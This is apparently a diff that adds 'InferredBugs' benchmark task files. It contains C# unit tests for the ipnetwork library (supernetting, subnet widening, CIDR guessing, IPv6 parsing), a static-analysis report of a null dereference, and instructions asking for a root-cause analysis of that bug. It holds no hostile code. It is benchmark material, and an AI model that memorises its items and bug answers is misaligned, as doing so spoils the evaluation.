+        public void TestTrySupernetArray2()
+        {
+
+
+            IPNetwork[] ipnetworks = null;
+            IPNetwork[] result = IPNetwork.Supernet(ipnetworks);
+
+        }
+
+
+        [TestMethod]
+        public void TestTrySupernetArray3()
+        {
+
+            IPNetwork ipnetwork1 = null;
+            IPNetwork ipnetwork2 = null;
+            IPNetwork ipnetwork3 = null;
+            IPNetwork ipnetwork4 = null;
+
+            IPNetwork[] ipnetworks = { ipnetwork1, ipnetwork2, ipnetwork3, ipnetwork4 };
+            IPNetwork[] expected = { };
+
+            IPNetwork[] result = IPNetwork.Supernet(ipnetworks);
+
+            Assert.AreEqual(expected.Length, result.Length, "supernetarray");
+
+        }
+
+        [TestMethod]
+        public void TestTrySupernetArray4()
+        {
+
+            IPNetwork ipnetwork1 = IPNetwork.Parse("192.168.0.0/24");
+            IPNetworkCollection subnetted = IPNetwork.Subnet(ipnetwork1, 32);
+            IPNetwork[] ipnetworks = subnetted.ToArray();
+            Assert.AreEqual(256, ipnetworks.Length, "subnet");
+
+            IPNetwork[] expected = { IPNetwork.Parse("192.168.0.0/24") };
+
+            IPNetwork[] result = IPNetwork.Supernet(ipnetworks);
+
+            Assert.AreEqual(expected.Length, result.Length, "supernetarray");
+            Assert.AreEqual(expected[0], ipnetwork1, "suppernet");
+        }
+
+
+        [TestMethod]
+        public void TestTrySupernetArray5()
+        {
+
+            IPNetwork ipnetwork1 = IPNetwork.Parse("192.168.0.0/16");
+            IPNetworkCollection subnetted = IPNetwork.Subnet(ipnetwork1, 32);
+            IPNetwork[] ipnetworks = subnetted.ToArray();
+            Assert.AreEqual(65536, ipnetworks.Length, "subnet");
+
+            IPNetwork[] expected = { IPNetwork.Parse("192.168.0.0/16") };
+
+            IPNetwork[] result = IPNetwork.Supernet(ipnetworks);
+
+            Assert.AreEqual(expected.Length, result.Length, "supernetarray");
+            Assert.AreEqual(expected[0], ipnetwork1, "suppernet");
+        }
+
+        public void TestTrySupernetArray6()
+        {
+
+            IPNetwork ipnetwork1 = IPNetwork.Parse("192.168.0.0/8");
+            IPNetworkCollection subnetted = IPNetwork.Subnet(ipnetwork1, 32);
+            IPNetwork[] ipnetworks = subnetted.ToArray();
+            Assert.AreEqual(16777216, ipnetworks.Length, "subnet");
+
+            IPNetwork[] expected = { IPNetwork.Parse("192.0.0.0/8") };
+
+            IPNetwork[] result = IPNetwork.Supernet(ipnetworks);
+
+            Assert.AreEqual(expected.Length, result.Length, "supernetarray");
+            Assert.AreEqual(expected[0], ipnetwork1, "suppernet");
+        }
+
+        [TestMethod]
+        public void TestTrySupernetArray7()
+        {
+
+            IPNetwork[] ipnetworks = { 
+                IPNetwork.Parse("10.0.2.2/24"),
+                IPNetwork.Parse("192.168.0.0/24"),
+                IPNetwork.Parse("192.168.1.0/24"),
+                IPNetwork.Parse("192.168.2.0/24"),
+                IPNetwork.Parse("10.0.1.1/24"),
+                IPNetwork.Parse("192.168.3.0/24")
+            };
+
+            IPNetwork[] expected = { 
+                IPNetwork.Parse("10.0.1.0/24"),
+                IPNetwork.Parse("10.0.2.0/24"),
+                IPNetwork.Parse("192.168.0/22")
+            };
+
+            IPNetwork[] result = IPNetwork.Supernet(ipnetworks);
+
+            Assert.AreEqual(expected.Length, result.Length, "supernetarray");
+            Assert.AreEqual(expected[0], result[0], "suppernet");
+            Assert.AreEqual(expected[1], result[1], "suppernet1");
+            Assert.AreEqual(expected[2], result[2], "suppernet2");
+        }
+
+        [TestMethod]
+        public void TestTrySupernetArray8()
+        {
+
+            IPNetwork[] ipnetworks = { 
+                IPNetwork.Parse("10.0.2.2/24"),
+                IPNetwork.Parse("192.168.0.0/24"),
+                IPNetwork.Parse("192.168.1.0/24"),
+                IPNetwork.Parse("192.168.2.0/24"),
+                IPNetwork.Parse("10.0.1.1/24"),
+                IPNetwork.Parse("192.168.3.0/24"),
+                IPNetwork.Parse("10.6.6.6/8")
+                
+            };
+
+            IPNetwork[] expected = { 
+                IPNetwork.Parse("10.0.0.0/8"),
+                IPNetwork.Parse("192.168.0/22")
+            };
+
+            IPNetwork[] result = IPNetwork.Supernet(ipnetworks);
+
+            Assert.AreEqual(expected.Length, result.Length, "supernetarray");
+            Assert.AreEqual(expected[0], result[0], "suppernet");
+            Assert.AreEqual(expected[1], result[1], "suppernet1");
+        }
+
+
+        [TestMethod]
+        public void TestTrySupernetArray9()
+        {
+
+            IPNetwork[] ipnetworks = { 
+                IPNetwork.Parse("10.0.2.2/24"),
+                IPNetwork.Parse("192.168.0.0/24"),
+                IPNetwork.Parse("192.168.1.0/24"),
+                IPNetwork.Parse("192.168.2.0/24"),
+                IPNetwork.Parse("10.0.1.1/24"),
+                IPNetwork.Parse("192.168.3.0/24"),
+                IPNetwork.Parse("10.6.6.6/8"),
+                IPNetwork.Parse("11.6.6.6/8"),
+                IPNetwork.Parse("12.6.6.6/8"),
+                
+            };
+
+            IPNetwork[] expected = { 
+                IPNetwork.Parse("10.0.0.0/7"),
+                IPNetwork.Parse("12.0.0.0/8"),
+                IPNetwork.Parse("192.168.0/22")
+            };
+
+            IPNetwork[] result = IPNetwork.Supernet(ipnetworks);
+
+            Assert.AreEqual(expected.Length, result.Length, "supernetarray");
+            Assert.AreEqual(expected[0], result[0], "suppernet");
+            Assert.AreEqual(expected[1], result[1], "suppernet1");
+            Assert.AreEqual(expected[2], result[2], "suppernet2");
+        }
+
+
+        #endregion
+
+        #region Equals
+
+        [TestMethod]
+        public void TestEquals1() {
+
+            IPNetwork network1 = IPNetwork.Parse("192.168.0.1/24");
+            IPNetwork network2 = IPNetwork.Parse("192.168.0.1/24");
+            bool result = network1.Equals(network2);
+            bool expected = true;
+
+            Assert.AreEqual(expected, result, "equals");
+
+        }
+
+        [TestMethod]
+        public void TestEquals2() {
+
+            IPNetwork network1 = IPNetwork.Parse("192.168.0.1/24");
+            IPNetwork network2 = null;
+            bool result = network1.Equals(network2);
+            bool expected = false;
+
+            Assert.AreEqual(expected, result, "equals");
+
+        }
+
+        [TestMethod]
+        public void TestEquals3() {
+
+            IPNetwork network1 = IPNetwork.Parse("192.168.0.1/24");
+            object network2 = "";
+            bool result = network1.Equals(network2);
+            bool expected = false;
+
+            Assert.AreEqual(expected, result, "equals");
+
+        }
+
+        [TestMethod]
+        public void TestEquals4() {
+
+            IPNetwork network1 = IPNetwork.Parse("192.168.0.1/24");
+            IPNetwork network2 = IPNetwork.Parse("192.168.0.1/25");
+            bool result = network1.Equals(network2);
+            bool expected = false;
+
+            Assert.AreEqual(expected, result, "equals");
+
+        }
+
+
+        [TestMethod]
+        public void TestEquals5() {
+
+            IPNetwork network1 = IPNetwork.Parse("192.168.0.1/24");
+            IPNetwork network2 = IPNetwork.Parse("192.168.1.1/24");
+            bool result = network1.Equals(network2);
+            bool expected = false;
+
+            Assert.AreEqual(expected, result, "equals");
+
+        }
+
+        #endregion
+
+        #region WideSubnet
+
+        [TestMethod]
+        public void TestWideSubnet1() {
+
+            string start = "192.168.168.0";
+            string end = "192.168.168.255";
+            IPNetwork expected = IPNetwork.Parse("192.168.168.0/24");
+
+            IPNetwork wideSubnet = IPNetwork.WideSubnet(start, end);
+            Assert.AreEqual(expected, wideSubnet, "wideSubnet");
+
+
+
+        }
+
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentNullException))]
+        public void TestWideSubnet2() {
+
+            string start = null;
+            string end = "192.168.168.255";
+
+            IPNetwork wideSubnet = IPNetwork.WideSubnet(start, end);
+
+        }
+
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentNullException))]
+        public void TestWideSubnet3() {
+
+            string start = "192.168.168.255";
+            string end = null;
+
+            IPNetwork wideSubnet = IPNetwork.WideSubnet(start, end);
+
+        }
+
+        [TestMethod]
+        public void TestWideSubnet4() {
+
+            string start = "192.168.168.255";
+            string end = "192.168.168.0";
+
+
+            IPNetwork expected = IPNetwork.Parse("192.168.168.0/24");
+
+            IPNetwork wideSubnet = IPNetwork.WideSubnet(start, end);
+            Assert.AreEqual(expected, wideSubnet, "wideSubnet");
+        }
+
+
+        [TestMethod]
+        public void TestWideSubnet7() {
+
+            string start = "0.0.0.0";
+            string end = "0.255.255.255";
+
+            IPNetwork expected = IPNetwork.Parse("0.0.0.0/8");
+
+            IPNetwork wideSubnet = IPNetwork.WideSubnet(start, end);
+            Assert.AreEqual(expected, wideSubnet, "wideSubnet");
+        }
+
+
+
+        [TestMethod]
+        public void TestWideSubnet8() {
+
+            string start = "1.2.3.4";
+            string end = "5.6.7.8";
+
+            IPNetwork expected = IPNetwork.Parse("0.0.0.0/5");
+
+            IPNetwork wideSubnet = IPNetwork.WideSubnet(start, end);
+            Assert.AreEqual(expected, wideSubnet, "wideSubnet");
+        }
+
+
+        [TestMethod]
+        public void TestWideSubnet9()
+        {
+
+            string start = "200.16.0.0/24";
+            string end = "200.16.3.0/24";
+            var firt = IPNetwork.Parse(start).FirstUsable.ToString();
+            var last = IPNetwork.Parse(end).LastUsable.ToString();
+
+            IPNetwork expected = IPNetwork.Parse("200.16.0.0/22");
+
+            IPNetwork wideSubnet = IPNetwork.WideSubnet(firt, last);
+            Assert.AreEqual(expected, wideSubnet, "wideSubnet");
+
+
+
+        }
+
+
+        [TestMethod]
+        public void TestWideSubnet10()
+        {
+
+            string start = "200.16.0.0";
+            string end = "200.16.3.255";
+
+            IPNetwork expected = IPNetwork.Parse("200.16.0.0/22");
+
+            IPNetwork wideSubnet = IPNetwork.WideSubnet(start, end);
+            Assert.AreEqual(expected, wideSubnet, "wideSubnet");
+
+        }
+
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentException))]
+        public void TestWideSubnetInvalid1() {
+
+            string start = "invalid";
+            string end = "5.6.7.8";
+
+            IPNetwork wideSubnet = IPNetwork.WideSubnet(start, end);
+        }
+
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentException))]
+        public void TestWideSubnetInvalid2() {
+
+            string start = "1.2.3.4";
+            string end = "invalid";
+
+            IPNetwork wideSubnet = IPNetwork.WideSubnet(start, end);
+        }
+
+        #endregion
+
+        #region TryGuessCidr
+
+        [TestMethod]
+        public void TestTryGuessCidrNull() {
+
+            byte cidr;
+            bool parsed = IPNetwork.TryGuessCidr(null, out cidr);
+
+            Assert.AreEqual(false, parsed, "parsed");
+            Assert.AreEqual(0, cidr, "cidr");
+        }
+
+        [TestMethod]
+        public void TestTryGuessCidrA() {
+
+            byte cidr;
+            bool parsed = IPNetwork.TryGuessCidr("10.0.0.0", out cidr);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(8, cidr, "cidr");
+        }
+
+        [TestMethod]
+        public void TestTryGuessCidrB() {
+
+            byte cidr;
+            bool parsed = IPNetwork.TryGuessCidr("172.0.0.0", out cidr);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(16, cidr, "cidr");
+        }
+
+        [TestMethod]
+        public void TestTryGuessCidrC() {
+
+            byte cidr;
+            bool parsed = IPNetwork.TryGuessCidr("192.0.0.0", out cidr);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(24, cidr, "cidr");
+        }
+
+        [TestMethod]
+        public void TestTryGuessCidrD() {
+
+            byte cidr;
+            bool parsed = IPNetwork.TryGuessCidr("224.0.0.0", out cidr);
+
+            Assert.AreEqual(false, parsed, "parsed");
+        }
+        [TestMethod]
+        public void TestTryGuessCidrE() {
+
+            byte cidr;
+            bool parsed = IPNetwork.TryGuessCidr("240.0.0.0", out cidr);
+
+            Assert.AreEqual(false, parsed, "parsed");
+        }
+
+        #endregion
+
+        #region GetHashCode
+
+        [TestMethod]
+        public void TestGetHashCode1() {
+
+            IPNetwork ipnetwork1 = IPNetwork.Parse("0.0.1.1/0");
+            IPNetwork ipnetwork2 = IPNetwork.Parse("0.0.1.1/0");
+            int hashCode1 = ipnetwork1.GetHashCode();
+            int hashCode2 = ipnetwork2.GetHashCode();
+            Assert.AreEqual(hashCode1, hashCode2, "hashcode");
+
+        }
+
+        [TestMethod]
+        public void TestGetHashCode2() {
+
+            IPNetwork ipnetwork1 = IPNetwork.Parse("0.0.0.0/1");
+            IPNetwork ipnetwork2 = IPNetwork.Parse("0.0.0.0/1");
+            int hashCode1 = ipnetwork1.GetHashCode();
+            int hashCode2 = ipnetwork2.GetHashCode();
+            Assert.AreEqual(hashCode1, hashCode2, "hashcode");
+
+        }
+        [TestMethod]
+        public void TestGetHashCode3() {
+
+            IPNetwork ipnetwork1 = IPNetwork.Parse("0.0.0.0/32");
+            IPNetwork ipnetwork2 = IPNetwork.Parse("0.0.0.0/32");
+            int hashCode1 = ipnetwork1.GetHashCode();
+            int hashCode2 = ipnetwork2.GetHashCode();
+            Assert.AreEqual(hashCode1, hashCode2, "hashcode");
+
+        }
+
+        #endregion
+
+        #region Print
+
+        [TestMethod]
+        public void Print() {
+            IPNetwork ipn = IPNetwork.Parse("0.0.0.0/0");
+            string print = IPNetwork.Print(ipn).Replace("\r", "");
+            string expected = @"IPNetwork   : 0.0.0.0/0
+Network     : 0.0.0.0
+Netmask     : 0.0.0.0
+Cidr        : 0
+Broadcast   : 255.255.255.255
+FirstUsable : 0.0.0.1
+LastUsable  : 255.255.255.254
+Usable      : 4294967294
+".Replace("\r", "");
+
+            Assert.AreEqual(expected, print, "Print");
+        }
+
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentNullException))]
+        public void PrintNull() {
+            IPNetwork ipn = null;
+            string print = IPNetwork.Print(ipn);
+        }
+
+        #endregion
+
+        #region Sort
+
+        [TestMethod]
+        public void TestSort1() {
+            string[] ips = new[] { "1.1.1.1", "255.255.255.255", "2.2.2.2", "0.0.0.0" };
+            List<IPNetwork> ipns = new List<IPNetwork>();
+            foreach(string ip in ips) {
+                IPNetwork ipn;
+                if (IPNetwork.TryParse(ip, 32, out ipn)) {
+                    ipns.Add(ipn);
+                }
+            }
+
+            ipns.Sort();
+            Assert.AreEqual("0.0.0.0/32", ipns[0].ToString(), "0");
+            Assert.AreEqual("1.1.1.1/32", ipns[1].ToString(), "1");
+            Assert.AreEqual("2.2.2.2/32", ipns[2].ToString(), "2");
+            Assert.AreEqual("255.255.255.255/32", ipns[3].ToString(), "3");
+        }
+
+        [TestMethod]
+        public void TestSort2() {
+            string[] ips = new[] { "0.0.0.100/32", "0.0.0.0/24" };
+            List<IPNetwork> ipns = new List<IPNetwork>();
+            foreach (string ip in ips)
+            {
+                IPNetwork ipn;
+                if (IPNetwork.TryParse(ip, out ipn)) {
+                    ipns.Add(ipn);
+                }
+            }
+
+            ipns.Sort();
+            Assert.AreEqual("0.0.0.0/24", ipns[0].ToString(), "0");
+            Assert.AreEqual("0.0.0.100/32", ipns[1].ToString(), "1");
+        }
+
+        #endregion
+
+        #region TryWideSubnet
+
+        [TestMethod]
+        public void TryWideSubnet1() {
+            string[] ips = new[] { "1.1.1.1", "255.255.255.255", "2.2.2.2", "0.0.0.0" };
+            List<IPNetwork> ipns = new List<IPNetwork>();
+            foreach (string ip in ips)
+            {
+                IPNetwork ipn;
+                if (IPNetwork.TryParse(ip, 32, out ipn))
+                {
+                    ipns.Add(ipn);
+                }
+            }
+
+            IPNetwork ipnetwork = null;
+            bool wide = IPNetwork.TryWideSubnet(ipns.ToArray(), out ipnetwork);
+            Assert.AreEqual(true, wide, "wide");
+            Assert.AreEqual("0.0.0.0/0", ipnetwork.ToString(), "ipnetwork");
+
+        }
+
+        [TestMethod]
+        public void TryWideSubnet2() {
+            string[] ips = new[] { "1.1.1.1", "10.0.0.0", "2.2.2.2", "0.0.0.0" };
+            List<IPNetwork> ipns = new List<IPNetwork>();
+            foreach (string ip in ips)
+            {
+                IPNetwork ipn;
+                if (IPNetwork.TryParse(ip, 32, out ipn))
+                {
+                    ipns.Add(ipn);
+                }
+            }
+
+            IPNetwork ipnetwork = null;
+            bool wide = IPNetwork.TryWideSubnet(ipns.ToArray(), out ipnetwork);
+            Assert.AreEqual(true, wide, "wide");
+            Assert.AreEqual("0.0.0.0/4", ipnetwork.ToString(), "ipnetwork");
+
+        }
+
+
+        [TestMethod]
+        public void TryWideSubnet3() {
+            string[] ips = new[] { "a", "b", "c", "d" };
+            List<IPNetwork> ipns = new List<IPNetwork>();
+            foreach (string ip in ips)
+            {
+                IPNetwork ipn;
+                if (IPNetwork.TryParse(ip, 32, out ipn))
+                {
+                    ipns.Add(ipn);
+                }
+            }
+
+            IPNetwork ipnetwork = null;
+            bool wide = IPNetwork.TryWideSubnet(ipns.ToArray(), out ipnetwork);
+            Assert.AreEqual(false, wide, "wide");
+
+        }
+
+        [TestMethod]
+        public void TryWideSubnet4() {
+            string[] ips = new[] { "a", "b", "1.1.1.1", "d" };
+            List<IPNetwork> ipns = new List<IPNetwork>();
+            foreach (string ip in ips)
+            {
+                IPNetwork ipn;
+                if (IPNetwork.TryParse(ip, 32, out ipn))
+                {
+                    ipns.Add(ipn);
+                }
+            }
+
+            IPNetwork ipnetwork = null;
+            bool wide = IPNetwork.TryWideSubnet(ipns.ToArray(), out ipnetwork);
+            Assert.AreEqual(true, wide, "wide");
+            Assert.AreEqual("1.1.1.1/32", ipnetwork.ToString(), "ipnetwork");
+
+        }
+
+        [TestMethod]
+        public void TryWideSubnetNull() {
+
+            IPNetwork ipnetwork = null;
+            bool wide = IPNetwork.TryWideSubnet(null, out ipnetwork);
+            Assert.AreEqual(false, wide, "wide");
+
+        }
+
+        #endregion
+
+        #region WideSubnet
+
+        [TestMethod]
+        public void WideSubnet1() {
+            string[] ips = new[] { "1.1.1.1", "255.255.255.255", "2.2.2.2", "0.0.0.0" };
+            List<IPNetwork> ipns = new List<IPNetwork>();
+            foreach (string ip in ips)
+            {
+                IPNetwork ipn;
+                if (IPNetwork.TryParse(ip, 32, out ipn))
+                {
+                    ipns.Add(ipn);
+                }
+            }
+
+            IPNetwork ipnetwork = IPNetwork.WideSubnet(ipns.ToArray());
+            Assert.AreEqual("0.0.0.0/0", ipnetwork.ToString(), "ipnetwork");
+
+        }
+
+        [TestMethod]
+        public void WideSubnet2() {
+            string[] ips = new[] { "1.1.1.1", "10.0.0.0", "2.2.2.2", "0.0.0.0" };
+            List<IPNetwork> ipns = new List<IPNetwork>();
+            foreach (string ip in ips)
+            {
+                IPNetwork ipn;
+                if (IPNetwork.TryParse(ip, 32, out ipn))
+                {
+                    ipns.Add(ipn);
+                }
+            }
+
+            IPNetwork ipnetwork = IPNetwork.WideSubnet(ipns.ToArray());
+            Assert.AreEqual("0.0.0.0/4", ipnetwork.ToString(), "ipnetwork");
+
+        }
+
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentNullException))]
+        public void WideSubnetNull() {
+
+            IPNetwork ipnetwork = IPNetwork.WideSubnet(null);
+
+
+        }
+
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentException))]
+        public void WideSubnetNull2() {
+
+            string[] ips = new[] { "a", "b", "e", "d" };
+            List<IPNetwork> ipns = new List<IPNetwork>();
+            foreach (string ip in ips)
+            {
+                IPNetwork ipn;
+                if (IPNetwork.TryParse(ip, 32, out ipn))
+                {
+                    ipns.Add(ipn);
+                }
+            }
+
+            IPNetwork ipnetwork = IPNetwork.WideSubnet(ipns.ToArray());
+
+
+        }
+
+        #endregion
+
+        /**
+         * 
+        #region TrySubstractNetwork
+
+
+        [TestMethod]
+        public void TrySubstractNetwork1() {
+            string[] ips = new[] { "178.82.0.0/16" };
+            string substract = "178.82.131.209/32";
+
+            List<IPNetwork> ipns = new List<IPNetwork>();
+            Array.ForEach<string>(ips, new Action<string>(
+                delegate(string ip)
+                {
+                    IPNetwork ipn;
+                    if (IPNetwork.TryParse(ip, out ipn)) {
+                        ipns.Add(ipn);
+                    }
+                }
+            ));
+
+            var nsubstract = IPNetwork.Parse(substract);
+
+            IEnumerable<IPNetwork> result;
+            bool substracted = IPNetwork.TrySubstractNetwork(ipns.ToArray(), nsubstract, out result);
+            Assert.AreEqual(true, substracted, "substracted");
+
+        }
+
+        [TestMethod]
+        public void TrySubstractNetwork2() {
+            string[] ips = new[] { "0.0.0.0/0" };
+            string substract = "1.1.1.1/32";
+
+            List<IPNetwork> ipns = new List<IPNetwork>();
+            Array.ForEach<string>(ips, new Action<string>(
+                delegate(string ip)
+                {
+                    IPNetwork ipn;
+                    if (IPNetwork.TryParse(ip, out ipn)) {
+                        ipns.Add(ipn);
+                    }
+                }
+            ));
+
+            var nsubstract = IPNetwork.Parse(substract);
+
+            IEnumerable<IPNetwork> result;
+            bool substracted = IPNetwork.TrySubstractNetwork(ipns.ToArray(), nsubstract, out result);
+            Assert.AreEqual(true, substracted, "substracted");
+
+        }
+
+
+
+        #endregion
+        **/
+
+        #region Count
+
+        [TestMethod]
+        public void Total32() {
+            var network = IPNetwork.Parse("0.0.0.0/32");
+            var total = 1;
+            Assert.AreEqual(total, network.Total, "Total");
+        }
+
+        [TestMethod]
+        public void Total31() {
+            var network = IPNetwork.Parse("0.0.0.0/31");
+            var total = 2;
+            Assert.AreEqual(total, network.Total, "Total");
+        }
+
+        [TestMethod]
+        public void Total30() {
+            var network = IPNetwork.Parse("0.0.0.0/30");
+            var total = 4;
+            Assert.AreEqual(total, network.Total, "Total");
+        }
+
+        [TestMethod]
+        public void Total24() {
+            var network = IPNetwork.Parse("0.0.0.0/24");
+            var total = 256;
+            Assert.AreEqual(total, network.Total, "Total");
+        }
+
+        [TestMethod]
+        public void Total16() {
+            var network = IPNetwork.Parse("0.0.0.0/16");
+            var total = 65536;
+            Assert.AreEqual(total, network.Total, "Total");
+        }
+
+        [TestMethod]
+        public void Total8() {
+            var network = IPNetwork.Parse("0.0.0.0/8");
+            var total = 16777216;
+            Assert.AreEqual(total, network.Total, "Total");
+        }
+
+        [TestMethod]
+        public void Total0() {
+            var network = IPNetwork.Parse("0.0.0.0/0");
+            var total = 4294967296;
+            Assert.AreEqual(total, network.Total, "Total");
+        }
+
+        #endregion
+
+        #region Usable
+
+        [TestMethod]
+        public void Usable32() {
+            var network = IPNetwork.Parse("0.0.0.0/32");
+            uint usable = 0;
+            Assert.AreEqual(usable, network.Usable, "Usable");
+        }
+
+        [TestMethod]
+        public void Usable31() {
+            var network = IPNetwork.Parse("0.0.0.0/31");
+            uint usable = 0;
+            Assert.AreEqual(usable, network.Usable, "Usable");
+        }
+
+        [TestMethod]
+        public void Usable30() {
+            var network = IPNetwork.Parse("0.0.0.0/30");
+            uint usable = 2;
+            Assert.AreEqual(usable, network.Usable, "Usable");
+        }
+
+        [TestMethod]
+        public void Usable24() {
+            var network = IPNetwork.Parse("0.0.0.0/24");
+            uint usable = 254;
+            Assert.AreEqual(usable, network.Usable, "Usable");
+        }
+
+        [TestMethod]
+        public void Usable16() {
+            var network = IPNetwork.Parse("0.0.0.0/16");
+            uint usable = 65534;
+            Assert.AreEqual(usable, network.Usable, "Usable");
+        }
+
+        [TestMethod]
+        public void Usable8() {
+            var network = IPNetwork.Parse("0.0.0.0/8");
+            uint usable = 16777214;
+            Assert.AreEqual(usable, network.Usable, "Usable");
+        }
+
+        [TestMethod]
+        public void Usable0() {
+            var network = IPNetwork.Parse("0.0.0.0/0");
+            uint usable = 4294967294;
+            Assert.AreEqual(usable, network.Usable, "Usable");
+        }
+
+        #endregion
+
+        #region TryParseCidr
+
+        [TestMethod]
+        public void TryParseCidr1() {
+
+            string sidr = "0";
+            byte? cidr;
+            byte? result = 0;
+            bool parsed = IPNetwork.TryParseCidr(sidr, Sockets.AddressFamily.InterNetwork, out cidr);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(result, cidr, "cidr");
+
+        }
+
+        [TestMethod]
+        public void TryParseCidr2() {
+
+            string sidr = "sadsd";
+            byte? cidr;
+            byte? result = null;
+
+            bool parsed = IPNetwork.TryParseCidr(sidr, Sockets.AddressFamily.InterNetwork, out cidr);
+
+            Assert.AreEqual(false, parsed, "parsed");
+            Assert.AreEqual(result, cidr, "cidr");
+
+        }
+
+        [TestMethod]
+        public void TryParseCidr3() {
+
+            string sidr = "33";
+            byte? cidr;
+            byte? result = null;
+
+            bool parsed = IPNetwork.TryParseCidr(sidr, Sockets.AddressFamily.InterNetwork, out cidr);
+
+            Assert.AreEqual(false, parsed, "parsed");
+            Assert.AreEqual(result, cidr, "cidr");
+
+        }
+
+        #endregion
+    }
+}
+
+```
+
+### Bug Type:
+NULLPTR_DEREFERENCE
+
+### Qualifier:
+`subnets` could be null (from the call to `IPNetwork.Subnet(...)` on line 1978) and is dereferenced.
+
+### Severity:
+ERROR
+
+### Procedure:
+Void IPNetworkUnitTest.TestSubnet10()
+
+### File:
+src/System.Net.IPNetwork.TestProject.Source/IPNetworkUnitTest.cs
+
+### Key:
+IPNetworkUnitTest.cs|TestSubnet10|NULLPTR_DEREFERENCE
+
+### Hash:
+46df3bcc8f14e3b71829d1d5d11d50ac
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-1622/instruction.md b/inferredbugs-1622/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..2be492ade9e2e43b09afcfde90bea61030825eac
--- /dev/null
+++ b/inferredbugs-1622/instruction.md
@@ -0,0 +1,2546 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** ipnetwork
+**Bug ID:** 19
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using Microsoft.VisualStudio.TestTools.UnitTesting;
+using System.Numerics;
+
+namespace System.Net.TestProject
+{
+    [TestClass]
+    public class IPNetworkV6UnitTest {
+
+        #region ParseIP
+
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentException))]
+        public void TestParseIPAddressNetmaskANE8() {
+            IPNetwork ipnet = IPNetwork.Parse("xxxx::", "xxxx::");
+
+        }
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentException))]
+        public void TestParseIPAddressNetmaskANE9() {
+            IPNetwork ipnet = IPNetwork.Parse("::", "xxxx::");
+
+        }
+
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentException))]
+        public void TestParseIPAddressNetmaskANE10() {
+            IPNetwork ipnet = IPNetwork.Parse("xxxx::", 0);
+
+        }
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentException))]
+        public void TestParseIPAddressNetmaskANE11() {
+            IPNetwork ipnet = IPNetwork.Parse("::", 129);
+
+        }
+
+        [TestMethod]
+        public void TestParsev6_128() {
+
+
+            IPNetwork ipnetwork = null;
+            string ipaddress = "2001:db8::";
+            string netmask = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff";
+
+            string network = "2001:db8::";
+            string netmask2 = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff";
+            //string broadcast = "2001:db8::";
+            string firstUsable = "2001:db8::";
+            string lastUsable = "2001:db8::";
+            byte cidr = 128;
+            BigInteger usable = 1;
+
+            bool parsed = IPNetwork.TryParse(ipaddress, netmask, out ipnetwork);
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(network, ipnetwork.Network.ToString(), "Network");
+            Assert.AreEqual(netmask2, ipnetwork.Netmask.ToString(), "Netmask");
+            Assert.AreEqual(null, ipnetwork.Broadcast, "Broadcast");
+            Assert.AreEqual(cidr, ipnetwork.Cidr, "Cidr");
+            Assert.AreEqual(usable, ipnetwork.Usable, "Usable");
+            Assert.AreEqual(firstUsable, ipnetwork.FirstUsable.ToString(), "FirstUsable");
+            Assert.AreEqual(lastUsable, ipnetwork.LastUsable.ToString(), "LastUsable");
+
+        }
+        
+        [TestMethod]
+        public void TestParsev6_127() {
+
+
+            IPNetwork ipnetwork = null;
+            string ipaddress = "2001:db8::";
+            string netmask = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:fffe";
+
+            string network = "2001:db8::";
+            string netmask2 = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:fffe";
+            //string broadcast = "2001:db8::1";
+            string firstUsable = "2001:db8::";
+            string lastUsable = "2001:db8::1";
+            byte cidr = 127;
+            BigInteger usable = 2;
+
+            bool parsed = IPNetwork.TryParse(ipaddress, netmask, out ipnetwork);
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(network, ipnetwork.Network.ToString(), "Network");
+            Assert.AreEqual(netmask2, ipnetwork.Netmask.ToString(), "Netmask");
+            Assert.AreEqual(null, ipnetwork.Broadcast, "Broadcast");
+            Assert.AreEqual(cidr, ipnetwork.Cidr, "Cidr");
+            Assert.AreEqual(usable, ipnetwork.Usable, "Usable");
+            Assert.AreEqual(firstUsable, ipnetwork.FirstUsable.ToString(), "FirstUsable");
+            Assert.AreEqual(lastUsable, ipnetwork.LastUsable.ToString(), "LastUsable");
+
+        }
+
+        [TestMethod]
+        public void TestParsev6_126() {
+
+
+            IPNetwork ipnetwork = null;
+            string ipaddress = "2001:db8::";
+            string netmask = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:fffc";
+
+            string network = "2001:db8::";
+            string netmask2 = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:fffc";
+            //string broadcast = "2001:db8::3";
+            string firstUsable = "2001:db8::";
+            string lastUsable = "2001:db8::3";
+            byte cidr = 126;
+            BigInteger usable = 4;
+
